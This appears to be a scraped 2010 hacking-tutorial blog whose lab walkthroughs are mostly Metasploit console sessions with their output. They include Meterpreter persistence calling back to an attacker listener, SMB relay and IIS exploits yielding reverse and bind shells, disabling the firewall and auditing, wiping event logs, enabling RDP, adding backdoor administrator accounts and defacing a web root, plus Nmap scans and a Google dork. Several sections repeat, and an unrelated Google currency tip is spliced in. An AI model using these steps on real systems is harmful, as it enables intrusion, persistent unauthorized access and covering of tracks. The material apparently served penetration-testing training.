SeIncreaseQuotaPrivilege
SeSecurityPrivilege
SeTakeOwnershipPrivilege
SeLoadDriverPrivilege
SeSystemtimePrivilege
SeProfileSingleProcessPrivilege
SeIncreaseBasePriorityPrivilege
SeCreatePagefilePrivilege
SeCreatePermanentPrivilege
SeBackupPrivilege
SeRestorePrivilege
SeShutdownPrivilege
SeAuditPrivilege
SeSystemEnvironmentPrivilege
SeChangeNotifyPrivilege
SeUndockPrivilege
SeManageVolumePrivilege
meterpreter > upload /tmp/hacked.txt C:\\WINDOWS\\System32
[*] uploading : /tmp/hacked.txt -> C:\WINDOWS\System32
[*] uploaded : /tmp/hacked.txt -> C:\WINDOWS\System32\hacked.txt
Maintain access by uploading Meterpreter agent
meterpreter > run persistence -h
OPTIONS:
-A Automatically start a matching multi/handler to connect to the agent
-U Automatically start the agent when the User logs on
-X Automatically start the agent when the system boots
-h This help menu
-i
-p
-r
[-] Error in script: LocalJumpError unexpected return
meterpreter > run persistence -A -X -p 443 -r 192.168.1.252
[*] Creating a persistent agent: LHOST=192.168.1.252 LPORT=443 (interval=5 onboot=true)
[*] Persistent agent script is 613927 bytes long
[*] Uploaded the persistent agent to C:\DOCUME~1\testuser\LOCALS~1\Temp\NooAHDFfrAL.vbs
[*] Agent executed with PID 1732
[*] Installing into autorun as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\NaPNlcSlsZRpqA
[*] Installed into autorun as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\NaPNlcSlsZRpqA
[*] For cleanup use command: run multi_console_command -rc /root/.msf3/logs/persistence/LON-CL1_20100929.2413/clean_up__20100929.2413.rc
Exit from the target system.
meterpreter > exit
Step 4: Create a listener on our machine
msf > use multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.1.252
LHOST => 192.168.1.252
msf exploit(handler) > set LPORT 443
LPORT => 443
msf exploit(handler) > exploit
[*] Started reverse handler on 192.168.1.252:443
[*] Starting the payload handler...
[*] Sending stage (748544 bytes) to 192.168.1.50
[*] Meterpreter session 1 opened (192.168.1.252:443 -> 192.168.1.50:1176) at Wed Sep 29 12:30:27 +0800 2010
Clearing tracks (housekeeping)
meterpreter > run disable_audit
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > run getcountermeasure -h
Getcountermeasure -- List (or optionally, kill) HIPS and AV
processes, show XP firewall rules, and display DEP and UAC
policies
OPTIONS:
-d Disable built in Firewall
-h Help menu.
-k Kill any AV, HIPS and Third Party Firewall process found.
meterpreter > run getcountermeasure -d
[*] Running Getcountermeasure on the target...
[*] Checking for contermeasures...
[*] Getting Windows Built in Firewall configuration...
[*]
[*] Domain profile configuration (current):
[*] -------------------------------------------------------------------
[*] Operational mode = Enable
[*] Exception mode = Enable
[*]
[*] Standard profile configuration:
[*] -------------------------------------------------------------------
[*] Operational mode = Enable
[*] Exception mode = Enable
[*]
[*] Internal firewall configuration:
[*] -------------------------------------------------------------------
[*] Operational mode = Enable
[*]
[*] External firewall configuration:
[*] -------------------------------------------------------------------
[*] Operational mode = Enable
[*]
[*] Disabling Built in Firewall.....
[*] Checking DEP Support Policy...
meterpreter > clearev
[*] Wiping 942 records from Application...
[*] Wiping 1984 records from System...
[*] Wiping 1 records from Security...
Enabling and Accessing Remote Desktop
meterpreter > run getgui -e
[*] Windows Remote Desktop Configuration Meterpreter Script by Darkoperator
[*] Carlos Perez carlos_perez@darkoperator.com
[*] Enabling Remote Desktop
[*] RDP is disabled; enabling it ...
[*] Setting Terminal Services service startup mode
[*] The Terminal Services service is not set to auto, changing it to auto ...
[*] Opening port in local firewall if necessary
[*] For cleanup use command: run multi_console_command -rc /root/.msf3/logs/scripts/getgui/clean_up__20100929.3437.rc
meterpreter > shell
Process 820 created.
Channel 18 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\Documents and Settings\testuser\Desktop>net user hacker P@ssw0rd /add
net user hacker P@ssw0rd /add
The command completed successfully.
C:\Documents and Settings\testuser\Desktop>net localgroup administrators hacker /add
net localgroup administrators hacker /add
The command completed successfully.
C:\Documents and Settings\testuser\Desktop>^C
Terminate channel 18? [y/N] y
meterpreter > ipconfig
MS TCP Loopback interface
Hardware MAC: 00:00:00:00:00:00
IP Address : 127.0.0.1
Netmask : 255.0.0.0
VMware Accelerated AMD PCNet Adapter - Packet Scheduler Miniport
Hardware MAC: 00:0c:29:d3:6a:60
IP Address : 192.168.1.50
Netmask : 255.255.255.0
meterpreter >
Remote Desktop Connection
Open a new shell console, and run Remote Desktop client to connect to the target machine.
root@bt:~# rdesktop 192.168.1.50
WARNING: Remote desktop does not support colour depth 24; falling back to 16
Tutorial: NTLM Authentication Hijack with SMB Relay
Local Host: 192.168.1.252 (BackTrack 4 with Metasploit 3.x)
Target Host: 192.168.1.50 (Windows XP SP2 English)
Step 1: Prepare the SMB Exploit on Local Host
cd /pentest/exploits/msf3
./msfconsole
msf > use windows/smb/smb_relay
msf > set PAYLOAD windows/shell/reverse_tcp
msf > set SRVHOST 192.168.1.252
msf > set LHOST 192.168.1.252
msf > set LPORT 443
msf > exploit
Step 2: Connect to the FAKE shared folder from the remote machine
\\192.168.1.252\shared\xxx.jpg
shared\xxx.jpg is a fake link
Step 3: Interact with the open session
Wait until you've got the connection from our target machine.
Once connected, wait for a few minutes, then press Enter.
Check the active sessions
msf > sessions -l
Active sessions
===============
Id Type Information Connection
-- ---- ----------- ----------
1 shell 192.168.1.252:443 -> 192.168.1.50:1118
Interact with active session# 1
msf > sessions -i 1
[*] Starting interaction with 1...
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\WINDOWS\system32>
Target Host: 192.168.1.50 (Windows XP SP2 English)
Step 1: Prepare the SMB Exploit on Local Host
cd /pentest/exploits/msf3
./msfconsole
msf > use windows/smb/smb_relay
msf > set PAYLOAD windows/shell/reverse_tcp
msf > set SRVHOST 192.168.1.252
msf > set LHOST 192.168.1.252
msf > set LPORT 443
msf > exploit
Step 2: Connect to the FAKE shared folder from the remote machine
\\192.168.1.252\shared\xxx.jpg
shared\xxx.jpg is a fake link
Step 3: Interact with the open session
Wait until you've got the connection from our target machine.
Once connected, wait for a few minutes, then press Enter.
Check the active sessions
msf > sessions -l
Active sessions
===============
Id Type Information Connection
-- ---- ----------- ----------
1 shell 192.168.1.252:443 -> 192.168.1.50:1118
Interact with active session# 1
msf > sessions -i 1
[*] Starting interaction with 1...
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\WINDOWS\system32>
Monday, September 27, 2010
Tutorial: Metasploit Basic Usage
Change directory to /pentest/exploits/framework3
cd /pentest/exploits/framework3
Launch MSF Console (Command Line Interface)
./msfconsole
Interact with MSF Console
Display help
msf > help
Search for a specific pattern
msf > search iis
Display information about the exploit module
msf > info windows/iis/ms01_023_printer
Select and use the exploit module
msf > use windows/iis/ms01_023_printer
Display all available payloads
msf > show payloads
Select and use a specific payload
msf > set PAYLOAD windows/shell/bind_tcp
Set the Remote Host (RHOST)
msf > set RHOST 131.107.1.101
Set the Listening port (LPORT)
msf > set LPORT 8888
Launch the exploit module
msf > exploit
[*] Started bind handler
[*] Sending stage (240 bytes) to 131.107.1.101
[*] Command shell session 1 opened (131.107.1.252:57346 -> 131.107.1.101:8888) at Tue Sep 28 12:17:55 +0800 2010
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-1999 Microsoft Corp.
Test privilege level by writing a file
C:\WINNT\system32>echo HACKED BY MR.PEANUT! > c:\inetpub\wwwroot\hacked.txt
echo HACKED BY MR.PEANUT! > c:\inetpub\wwwroot\hacked.txt
Create a user account and add it as a member of Local Administrators group
C:\WINNT\system32>net user hacker password123 /add
net user hacker password123 /add
The command completed successfully.
C:\WINNT\system32>net localgroup administrators hacker /add
net localgroup administrators hacker /add
The command completed successfully.
cd /pentest/exploits/framework3
Launch MSF Console (Command Line Interface)
./msfconsole
Interact with MSF Console
Display help
msf > help
Search for a specific pattern
msf > search iis
Display information about the exploit module
msf > info windows/iis/ms01_023_printer
Select and use the exploit module
msf > use windows/iis/ms01_023_printer
Display all available payloads
msf > show payloads
Select and use a specific payload
msf > set PAYLOAD windows/shell/bind_tcp
Set the Remote Host (RHOST)
msf > set RHOST 131.107.1.101
Set the Listening port (LPORT)
msf > set LPORT 8888
Launch the exploit module
msf > exploit
[*] Started bind handler
[*] Sending stage (240 bytes) to 131.107.1.101
[*] Command shell session 1 opened (131.107.1.252:57346 -> 131.107.1.101:8888) at Tue Sep 28 12:17:55 +0800 2010
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-1999 Microsoft Corp.
Test privilege level by writing a file
C:\WINNT\system32>echo HACKED BY MR.PEANUT! > c:\inetpub\wwwroot\hacked.txt
echo HACKED BY MR.PEANUT! > c:\inetpub\wwwroot\hacked.txt
Create a user account and add it as a member of Local Administrators group
C:\WINNT\system32>net user hacker password123 /add
net user hacker password123 /add
The command completed successfully.
C:\WINNT\system32>net localgroup administrators hacker /add
net localgroup administrators hacker /add
The command completed successfully.
CEH - Port Scans Exercise
Tester : TEST-BT4 (RAM = 512MB)
Targets: DEN-WEB1 (RAM = 128MB), DEN-WEB2 (RAM = 128MB), DEN-WEB3 (RAM = 128MB), DEN-SVR1 (RAM = 256MB)
Step 1:
Start all virtual machines.
Step 2:
Logon to TEST-BT4. Login with username: root and Password: toor
Step 3:
Check your virtual machine settings.
All network interfaces should be configured with Host-only.
Configure network interface cards, type these commands:
ifconfig eth0 up
ifconfig eth0 131.107.1.252/24
ifconfig eth1 up
ifconfig eth1 192.168.1.252/24
ifconfig
startx
Step 4: Open a bash console and start scanning with Nmap. Scans all active hosts.
Host Discovery
nmap -sP 131.107.1.0/24 192.168.1.0/24
Port Scans
nmap 131.107.1.0/24
nmap 131.107.1.101
nmap -sS -sV -O 131.107.1.101
nmap -A 131.107.1.101
nmap -sU -sV 131.107.1.101
nmap -sS -p80,443 131.107.1.101
Targets: DEN-WEB1 (RAM = 128MB), DEN-WEB2 (RAM = 128MB), DEN-WEB3 (RAM = 128MB), DEN-SVR1 (RAM = 256MB)
Step 1:
Start all virtual machines.
Step 2:
Logon to TEST-BT4. Login with username: root and Password: toor
Step 3:
Check your virtual machine settings.
All network interfaces should be configured with Host-only.
Configure network interface cards, type these commands:
ifconfig eth0 up
ifconfig eth0 131.107.1.252/24
ifconfig eth1 up
ifconfig eth1 192.168.1.252/24
ifconfig
startx
Step 4: Open a bash console and start scanning with Nmap. Scans all active hosts.
Host Discovery
nmap -sP 131.107.1.0/24 192.168.1.0/24
Port Scans
nmap 131.107.1.0/24
nmap 131.107.1.101
nmap -sS -sV -O 131.107.1.101
nmap -A 131.107.1.101
nmap -sU -sV 131.107.1.101
nmap -sS -p80,443 131.107.1.101
Using Google as Currency Calculator
Did you know that you can use Google as Currency Calculator???
Visit http://www.google.com
Type: 1 USD to IDR (in the Seach field).
Result:1 U.S. dollar = 8 928.57143 Indonesian rupiahs
Visit http://www.google.com
Type: 1 USD to IDR (in the Seach field).
Result:1 U.S. dollar = 8 928.57143 Indonesian rupiahs
Google Hacking & Web Applications Vulnerabilities
Check http://www.exploit-db.com then browse to Web Applications.
You can find some information on how to find the web applications vulnerabilities by using Google Dork.
Example:
http://www.exploit-db.com/exploits/15100/
You can find some information on how to find the web applications vulnerabilities by using Google Dork.
Example:
http://www.exploit-db.com/exploits/15100/
Dork: inurl:"option=com_elite_experts"
Subscribe to:
Posts (Atom)